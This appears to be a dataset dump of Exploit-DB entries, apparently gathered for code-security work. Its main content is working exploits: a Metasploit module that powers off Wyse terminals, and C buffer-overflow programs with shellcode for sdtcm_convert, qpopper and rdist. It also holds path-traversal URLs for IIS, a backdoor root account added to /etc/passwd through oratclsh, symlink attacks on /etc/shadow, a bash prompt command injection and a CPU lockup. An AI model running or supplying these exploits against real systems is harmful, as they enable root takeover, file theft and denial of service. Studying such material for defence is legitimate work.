QLWD/code_shield huggingface dataset:
标题: Wyse - Machine Remote Power Off (Denial of Service) (Metasploit) EDB-ID: 19137 CVE: 2009-0695 2009-0693 类型: DOS 平台: HARDWARE 发布日期: 2012-06-14 漏洞利用脚本: require 'msf/core'

class Metasploit3 < Msf::Auxiliary
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Auxiliary::Dos

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Wyse Machine Remote Power off (DOS)',
   'Description'    => %q{
     This module exploits the Wyse Rapport Hagent service and cause
                                        remote power cycle (Power off the wyse machine remotely).
   },
   'Stance'         => Msf::Exploit::Stance::Aggressive,
   'Author'         => 'it.solunium@gmail.com',
   'Version'        => '$Revision: 14976 $',
   'References'     =>
    [
     ['CVE', '2009-0695'],
     ['OSVDB', '55839'],
     ['US-CERT-VU', '654545'],
     ['URL', 'http://snosoft.blogspot.com/'],
     ['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'],
     ['URL', 'http://www.wyse.com/serviceandsupport/support/WSB09-01.zip'],
     ['URL', 'http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Targets'        =>
    [
     [ 'Wyse Linux x86', {'Platform' => 'linux',}],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 13 2012'
  ))

  register_options(
   [
    Opt::RPORT(80),
   ], self.class)
 end


 def run

  
  # Connect to the target service
  print_status("Connecting to the target #{rhost}:#{rport}")
  if connect
                print_status("Connected...")
                end

  # Parameters

                genmac     = "00"+Rex::Text.rand_text(5).unpack("H*")[0]

  craft_req = '&V52&CI=3|'
                craft_req << 'MAC=#{genmac}|#{rhost}|'
                craft_req << 'RB=0|MT=3|'
                craft_req << '|HS=#{rhost}|PO=#{rport}|'
                craft_req << 'SPO=0|' 

                # Send the malicious request
  sock.put(craft_req)

  # Download some response data
  resp = sock.get_once(-1, 10)
  print_status("Received: #{resp}")

                disconnect

  if not resp
   print_error("No reply from the target, this may not be a vulnerable system")
   return
  end

  if resp == '&00'
                print_status("#{rhost} execute command succefuly & power off.")
                return
                end

                #Exeptions
  rescue ::Rex::ConnectionRefused 
   print_status("Couldn't connect to #{rhost}:#{rport} | Connection refused.")
                rescue ::Rex::HostUnreachable
   print_status("Couldn't connect to #{rhost}:#{rport} | Host unreachable")
                rescue  ::Rex::ConnectionTimeout
   print_status("Couldn't connect to #{rhost}:#{rport} | Connection time out")
  rescue ::Errno::ECONNRESET, ::Timeout::Error
   print_status("#{rhost} not responding.")

 end
end URL: https://www.exploit-db.com/exploits/19137
标题: Microsoft IIS 4.0 / Microsoft Site Server 3.0 - Showcode ASP EDB-ID: 19129 CVE: 1999-0736 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/167/info

A sample Active Server Page (ASP) script installed by default on Microsoft's Internet Information Server (IIS) 4.0 gives remote users access to view any file on the same volume as the web server that is readable by the web server.

IIS 4.0 installs a number of sample ASP scripts including one called "showcode.asp". This script allows clients to view the source of other sample scripts via a browser. The "showcode.asp" script does not perform sufficent checks and allows files outside the sample directory to be requested. In particular, it does not check for ".." in the path of the requested file.

The script takes one parameter, "source", which is the file to view. The script's default location URL is:

http://www.sitename.com/msadc/Samples/SELECTOR/showcode.asp

Similar vulnerabilities have been noted in ViewCode.asp, CodeBrws.asp and Winmsdp.exe.

http://www.sitename.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../../boot.ini

Using CodeBrws.asp, it is possible to view Outlook mail folders: http://some-sitename-here/iissamples/exair/howitworks/codebrws.asp?source=/../../winnt/Profiles/Administrator/Application%20Data/Microsoft/Outlook%20Express/Mail/inbox.mbx URL: https://www.exploit-db.com/exploits/19129
标题: Oracle 8 - oratclsh Suid EDB-ID: 19125 CVE: 1999-0711 类型: LOCAL 平台: LINUX 发布日期: 1999-04-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/159/info

Oracle8 is an enterprise level database. As part of the Internet Agent option installation process it installs the file $ORACLE_HOME/bin/oratclsh as suid root. oratclsh is a TCL application that provides full access to TCL. oratclsh gives anyone the ability to execute arbitrary TCL commands as root.

The suid root bit gets set when the post install script "root.sh" is executed as root as directed in the installation instructions. If the "root.sh" script is not executed as root after installing the Intelligent Agent the oratclsh will be owned by the installation user (typically oracle). Although not as degerous as suid root, a suid oracle oratclsh script would allow a malicious user to obtain full acess to the database.

The offending core in "root.sh":

# Setuid to root for oemagent executables
/bin/chown root /oracle/bin/dbsnmp
/bin/chmod u+s /oracle/bin/dbsnmp
/bin/chown root /oracle/bin/oratclsh 
/bin/chmod u+s /oracle/bin/oratclsh

./oratclsh
% set f [open "/etc/passwd" "a+"]
% puts $f "intruder:x:0:1:intruder:/tmp/intruder:/bin/sh"
% close $f
% set f [open "/etc/shadow" "a+"]
% puts $f "intruder::::::::"
% close $f
% exit

$ su - intruder
$ id
uid=0(root) gid=1(other) URL: https://www.exploit-db.com/exploits/19125
标题: Ralf S. Engelschall ePerl 2.2.12 - Handling of ISINDEX Query EDB-ID: 19120 CVE: 1999-1437 类型: REMOTE 平台: MULTIPLE 发布日期: 1998-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/151/info

A bug exists in ePerl's handling of the ISINDEX queries. When ISINDEX is used, the query is passed on the command line by the web server. This would allow an attacker to execute arbitrary code via the ePerl interpreter, with none of the restrictions enforced normally. In addition, this allows for the execution of any code on the file system.

1) Place perl code on filesystem. This could be done via a writeable directory on anonymous ftp.
2) Determine (or guess) the path to the code to be executed.
3) Run code via an appropriate cgi-bin program:
http://foo.com/some/dir/doit.phtml?/home/ftp/incoming/executemycode.phtml URL: https://www.exploit-db.com/exploits/19120
标题: Sun Solaris 2.6 - power management EDB-ID: 19126 CVE: 1999-1432 类型: LOCAL 平台: SOLARIS 发布日期: 1998-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/160/info

A vulnerability exists in Sun's power management software under Solaris versions 2.4-2.6 (although only 2.6 as part of the main distribution). The sys-suspend program is initiated when a user runs the program, or presses the power key on a sun keyboard. This program moves the contents of memory to the disk, and powers down the system. As part of this shutdown procedure, it runs xlock to prevent a user from resuming the machine and accessing the logged in account.

The vulnerability that exists is due to the order in which sys-suspend performs its operations. As xlock is run by this program, it executes after the suspension begins. Upon a resume, there is a window of time during which any data typed at the keyboard is passed to whatever X application last had focus. If this was an xterm, arbitrary commands can be issued. In the even the user who was logged in was root, system security can be entirely subverted.

1: press the power key on Sun keyboard, and suspend the machine. 2: Upon pressing the power button again, the machine will indicate it is resuming, and the screen will go blank. Any data typed between this notification and the resumption of the machine (and xlock) will be passed to the application which last had focus. URL: https://www.exploit-db.com/exploits/19126
标题: Slackware Linux 3.5 - '/etc/group' Local Privilege Escalation EDB-ID: 19122 CVE: 1999-1434 类型: LOCAL 平台: LINUX 发布日期: 1998-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/155/info

Due to the way /bin/login behaves when a /etc/group file is not present under Slackware's version of the password shadowing suite, users who log in while this file is not present will be given uid and gid 0. This will allow them unrestricted access to the machine. This vulnerability is present in all versions of Slackware which have shadow passwords, up to and including 3.5

If the call to initgroups() fails in setup_uid_gid(), the function immediately returns value of -1. However, the call to setup_uid_gid() in login.c fails to check this return value. Since the uid and gid were not checked, their value is still 0, and the user will be logged in with 0 as their uid and gid.

Remove /etc/group and log in as a valid user. /etc/group must entirely not exist -- mode 000 is not sufficient. URL: https://www.exploit-db.com/exploits/19122
标题: Microsoft IIS 3.0/4.0 / Microsoft Personal Web Server 2.0/3.0/4.0 - ASP Alternate Data Streams EDB-ID: 19118 CVE: 1999-0278 类型: REMOTE 平台: MULTIPLE 发布日期: 1998-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/149/info

Microsoft IIS and other NT webservers contain a vulnerability that allows remote users to obtain the source code for an ASP file. When one appends ::$DATA to an asp being requested, the ASP source will be returned, instead of executing the ASP. For example: http://xyz/myasp.asp::$DATA will return the source of myasp.asp, instead of executing it.

The following proof of concept was provided:

http://xyz/myasp.asp::$DATA

This will cause IIS to disclose the contents of the page, myasp.asp, to an attacker. URL: https://www.exploit-db.com/exploits/19118
标题: HP JetAdmin 1.0.9 Rev. D - symlink EDB-ID: 19124 CVE: 1999-1433 类型: REMOTE 平台: LINUX 发布日期: 1998-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/157/info

A vulnerability exists in HP's JetAdmin Rev. D.01.09 software. Due to its failure to check if it is following a symbolic link, it is possible for an attacker to create a link from /tmp/jetadmin.log to anywhere on the filesystem, with permissions for reading and writing by everyone on the system. This can be used to gain root access.

The problem lies in the checking and creation of the log file. The following snippit is from /opt/hpnp/admin/jetadmin.
----
LOG=$TMP/jetadmin.log

if [ ! -f "$LOG" ]
then
touch $LOG
chmod 666 $LOG
fi
----

If the log file does not exist, the jetadmin script will create it, and change its permissions to 666. It does not check if the file is a symbolic link.

ln -sf /.rhosts /tmp/jetadmin.log URL: https://www.exploit-db.com/exploits/19124
标题: Ray Chan WWW Authorization Gateway 0.1 - Command Execution EDB-ID: 19121 CVE: 1999-1436 类型: REMOTE 平台: MULTIPLE 发布日期: 1998-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/152/info

A vulnerability exists in the WWW Authorization Gateway program written by Ray Chan. Version 1.0 fails to eliminate characters with special meaning to the shell prior to executing a command. As a result, an attacker can utilize certain characters to execute arbitrary commands on a system remotely, as whatever user invoked the cgi-bin.

Place the following as a username: 
| some command 
and any password. The command will be executed. URL: https://www.exploit-db.com/exploits/19121
标题: Sun Solaris 7.0 - '/usr/dt/bin/sdtcm_convert' Local Overflow / Local Privilege Escalation EDB-ID: 19128 CVE: 1999-0369 类型: LOCAL 平台: SOLARIS 发布日期: 1998-10-23 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/166/info

Sdtcm_convert is a setuid-root data conversion utility which converts OpenWindows version 3 calendar data files to version 4 and vice versa. A buffer overflow condition has been found in sdtcm_convert which may be exploited to obtain root access.
*/

/*=============================================================================
   sdtcm_convert Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4th@usa.net)
 
   [usage]
        % gcc ex_sdtcm_convert.c (This example program)
        % a.out
        If no response, hit ctrl+c
        #

=============================================================================
*/

#define     ADJUST      2
#define     OFFSET1     4000
#define     LENGTH1     260
#define     OFFSET2     6000
#define     LENGTH2     1000
#define     OFFSET3     6000+16*30

#define NOP 0xa61cc013

char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"  
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
 
unsigned long ret_adr;
int i;
 
main()
{
    static char x[11000];

    memset(x,'a',10000);
    ret_adr=get_sp()-6300;
    for (i = 0; i < 5000 ; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    ret_adr=get_sp() - 10200;
    if ((ret_adr & 0xff )==0) ret_adr+=4;
    printf("%lx\n",ret_adr);
    for (i = OFFSET1+ADJUST; i < OFFSET1+LENGTH1 ; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    for (i = OFFSET2+ADJUST; i < OFFSET2+LENGTH2 ; i+=4){
        x[i+3]=NOP & 0xff;  
        x[i+2]=(NOP >> 8 ) &0xff; 
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++)
x[OFFSET3+ADJUST+i]=exploit_code[i];
    x[10000]=0;
    execl("/usr/dt/bin/sdtcm_convert", "sdtcm_convert",
"-d",x,"test",(char *) 0);
} URL: https://www.exploit-db.com/exploits/19128
标题: HP HP-UX 10.20/11.0 / IBM AIX 4.3 / SCO Unixware 7.0 / Sun Solaris 2.6 - Change File Permission EDB-ID: 19108 CVE: 1999-0014 类型: LOCAL 平台: UNIX 发布日期: 1999-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/131/info

Due to improper checking of ownership, the dtappgather utility shipped with the Common Desktop Environment allows arbitrary users to overwrite any file present on the filesystem, regardless of the owner of the file. 

dtappgather uses a directory of permissions 0777 to create temporary files used by each login session. /var/dt/appconfig/appmanager/generic-display-0 is not checked for existence prior to the opening of the file by dtappgather, and as such, if a user were to create a symbolic link from this file to another on the filesystem, the permissions of this file would be changed to 0666.

An additional bug exists whereby dtappgather blindly uses the contents of the DTUSERSESSION environment variable. By setting this variable to point to a file on the filesystem, its permissions can also be changed. As this command takes place relative to the /var/dt/appconfig directory, a series of '..' are required to establish the root directory, after which any file can be altered.

% ls -l /etc/shadow
-r--r--r-- 1 root other 1500 Dec 29 18:21 /etc/shadow
% ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0
% dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists
% ls -l /etc/shadow
-r-xr-xr-x 1 user users 1500 Dec 29 18:21 /etc/shadow
---------------------------------------------
$ id
uid=6969(foo) gid=666(bar)
$ ls -l /etc/shadow
-r-------- 1 root sys 234 Nov 7 1999 /etc/shadow
$ env DTUSERSESSION=../../../../../../../etc/shadow dtappgather
$ ls -l /etc/shadow
-r-xr-xr-x 1 foo bar 234 Nov 7 1999 /etc/shadow URL: https://www.exploit-db.com/exploits/19108
标题: Qualcomm qpopper 2.4 - POP Server Buffer Overflow (1) EDB-ID: 19109 CVE: 1999-0006 类型: REMOTE 平台: LINUX 发布日期: 1998-06-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/133/info

A number of buffer-overflow issues reside in versions prior to 2.5 of Qualcomm's 'qpopper' program. Exploiting this issue allows a remote attacker to execute arbitrary commands on hosts that are running a vulnerable version. 

To determine if you are vulnerable, telnet to port 110 on the possibly vulnerable host. A banner appears, informing you of the version of the pop server. For example: 

% telnet yourmailhost.your.domain.com 110 
Trying 123.123.123.123 
Connected to mailhost 
+OK QPOP (version 2.4) at yourmailhost.your.domain.com starting 

If any version prior to 2.5 is reported, including 2.5 beta, you should upgrade immediately to the latest version.

/* Exploit for qpopper 2.4 (and others) for Linux
 *   by [WaR] (warchild@cryogen.com) and zav (zav@cryogen.com)
 *
 *  usage: (./qpopper <offset>;cat)|nc <victim> 110
 *       with offset around 1000 (try increments of 50)
 *
 *
 *    shout outs to: Zef and YZF
 */

#include <stdio.h>
#include <stdlib.h>

#define BUFFSIZE 998

char shell[] =
   "\xeb\x33\x5e\x89\x76\x08\x31\xc0"
   "\x88\x66\x07\x83\xee\x02\x31\xdb"
   "\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
   "\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
   "\xee\x02\x8d\x5e\x0e\x89\xda\x83"
   "\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
   "\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
   "\xff\xff/bin/sh";

unsigned long esp()
{
  __asm__(" movl %esp,%eax ");
}

main(int argc, char **argv)
{
  int i,j,offset;
  unsigned long eip;
  char buffer[4096];

  j=0;
  offset=atoi(argv[1]);
  eip=esp()+offset;
  for(i=0;i<1008;i++) buffer[i]=0x90;
  for(i=(BUFFSIZE - strlen(shell));i<BUFFSIZE;i++) buffer[i]=shell[j++];

  i=1005;
  buffer[i]=eip & 0xff;
  buffer[i+1]=(eip >> 8) & 0xff;
  buffer[i+2]=(eip >> 16) & 0xff;
  buffer[i+3]=(eip >> 24) & 0xff;

  printf("%s\nsh -i\n",buffer);
} URL: https://www.exploit-db.com/exploits/19109
标题: BSDI BSD/OS 2.1 / FreeBSD 2.1 / IBM AIX 4.2 / SGI IRIX 6.4 / Sun SunOS 4.1.3 - Buffer Overrun EDB-ID: 19106 CVE: 1999-0023 类型: LOCAL 平台: LINUX 发布日期: 1996-07-03 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/129/info

Rdist is a program to maintain identical copies of files over multiple hosts. It preserves the owner, group, mode, and mtime of files if possible and can update programs that are executing. Rdist reads commands from distfile to direct the updating of files and/or directories.

Rdist has over time been notorious for security vulnerabilities. In this instance it is vulnerable to a buffer overrun from user supplied data. Given that rdist is setuid root in some enviroments the attacker can excecute this buffer overflow with the resulting commands they craft being executed as root.
*/

/* cut here Brian Mitchell (brian@saturn.net) */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 256

long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

/* so you dont have to disassemble it, here is the asm code:
start:
jmp endofk0dez
realstart:
popl %esi
leal (%esi), %ebx
movl %ebx, 0x0b(%esi)
xorl %edx, %edx
movl %edx, 7(%esi)
movl %edx, 0x0f(%esi)
movl %edx, 0x14(%esi)
movb %edx, 0x19(%esi)
xorl %eax, %eax
movb $59, %al
leal 0x0b(%esi), %ecx
movl %ecx, %edx
pushl %edx
pushl %ecx
pushl %ebx
pushl %eax
jmp bewm
endofk0dez:
call realstart
.byte '/', 'b', 'i', 'n', '/', 's', 'h'
.byte 1, 1, 1, 1
.byte 2, 2, 2, 2
.byte 3, 3, 3, 3
bewm:
.byte 0x9a, 4, 4, 4, 4, 7, 4
*/

char execshell[] =
"\xeb\x23"
"\x5e"
"\x8d\x1e"
"\x89\x5e\x0b"
"\x31\xd2"
"\x89\x56\x07"
"\x89\x56\x0f"
"\x89\x56\x14"
"\x88\x56\x19"
"\x31\xc0"
"\xb0\x3b"
"\x8d\x4e\x0b"
"\x89\xca"
"\x52"
"\x51"
"\x53"
"\x50"
"\xeb\x18"
"\xe8\xd8\xff\xff\xff"
"/bin/sh"
"\x01\x01\x01\x01"
"\x02\x02\x02\x02"
"\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04";

int i;
int ofs = DEFAULT_OFFSET;

/* if we have a argument, use it as offset, else use default */
if(argc == 2)
ofs = atoi(argv[1]);
/* print the offset in use */
printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
/* write the return addresses
**
** return address 4
** ebp 4
** register unsigned n 0
** register char *cp 0
** register struct syment *s 0
**
** total: 8
*/
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
}
/* cut here */ URL: https://www.exploit-db.com/exploits/19106
标题: Allaire ColdFusion Server 4.0 - Remote File Display / Deletion / Upload / Execution EDB-ID: 19093 CVE: 1999-0477 1999-0455 类型: REMOTE 平台: MULTIPLE 发布日期: 1998-12-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/115/info

To display and delete any file on the system use an URL of the following form:

http://www.victim.test/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=C:\the\target\file

To upload files to the sever first find out the location of the sample code on the server by uploading a dummy file by using http://www.victim.test/cfdocs/expeval/openfile.cfm. After uploading a dummy file it will be displayed for you. The URL will be for the form:

http://www.victim.test/cfdocs/expeval/ExprCalc.cfm?RequestTimeout=2000&OpenFilePath=C:\Inetpub\wwwroot\cfdocs\expeval\.\dummy.txt

Now replace the "dummy.txt" string by "ExprCalc.cfm" to delete that file. We can now upload and execute ColdFusion files in the server without them being deleted.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19093.cfm URL: https://www.exploit-db.com/exploits/19093
标题: GNU GNU bash 1.14 - Path Embedded Code Execution EDB-ID: 19095 CVE: 1999-0491 类型: LOCAL 平台: LINUX 发布日期: 1999-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/119/info

A vulnerability in bash may allow inadvertently running commands embedded in the path to the currently working directory.

If an unsuspecting user enters a directory created by some malicious user with embedded commands, and their prompt (PS1) contains '\w' or '\W', and the prompt is displayed the commands will be executed. The vulnerability is in the parsing of the '\w' and '\W' escape codes.

As the prompt must be displayed unattended shell scripts are not vulnerable.

mkdir "\`echo -e \"echo + +> ~\57.rhosts\" > x; source x; rm -f \x\` " URL: https://www.exploit-db.com/exploits/19095
标题: AMD K6 Processor - Denial of Service EDB-ID: 19082 CVE: 1999-1442 类型: DOS 平台: LINUX 发布日期: 1998-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/105/info

A bug in Advance Micro Devices K6 processor allows non-privileged
code to crash the machine.

Under Linux 2.1.x a bug stops this vulnerability.

$ cat a.s
.text
.align 4096 /* r1 */
.globl _start
_start:
movl _start, %edi /* S1 */
cmpb 0x80000000(%edi),%dl /* r2, S2 */
je nowhere /* r3 */
ret
$ as -o a.o a.s
$ ld -defsym nowhere=0xc0000000 a.o
$ ./a.out
<lockup. hard reset required>

Remarks :
r1) _start must be aligned, otherwise you get a segfault instead of a lockup.
r2) Using movb instead of compb does not work.
r3) Tries to escape the code segment. Before Linux 2.1.43, the code segments ended 
at bfffffff. After and including 2.1.43, escaping is not possible, because
the code segment covers the whole address space (reducing this segment
to 3.75 GB allows to trigger the bug on 2.1.103).

Speculations :
S1) edi must be loaded with the address of something in a deep cache on the 
CPU. _start works well.
S2) tries to access an invalid address. This address should look like an 
already cached address. If only the highest bits are different, it is
probably more difficult to notice that the address is not really cached.
So using _start+0x80000000 works well. URL: https://www.exploit-db.com/exploits/19082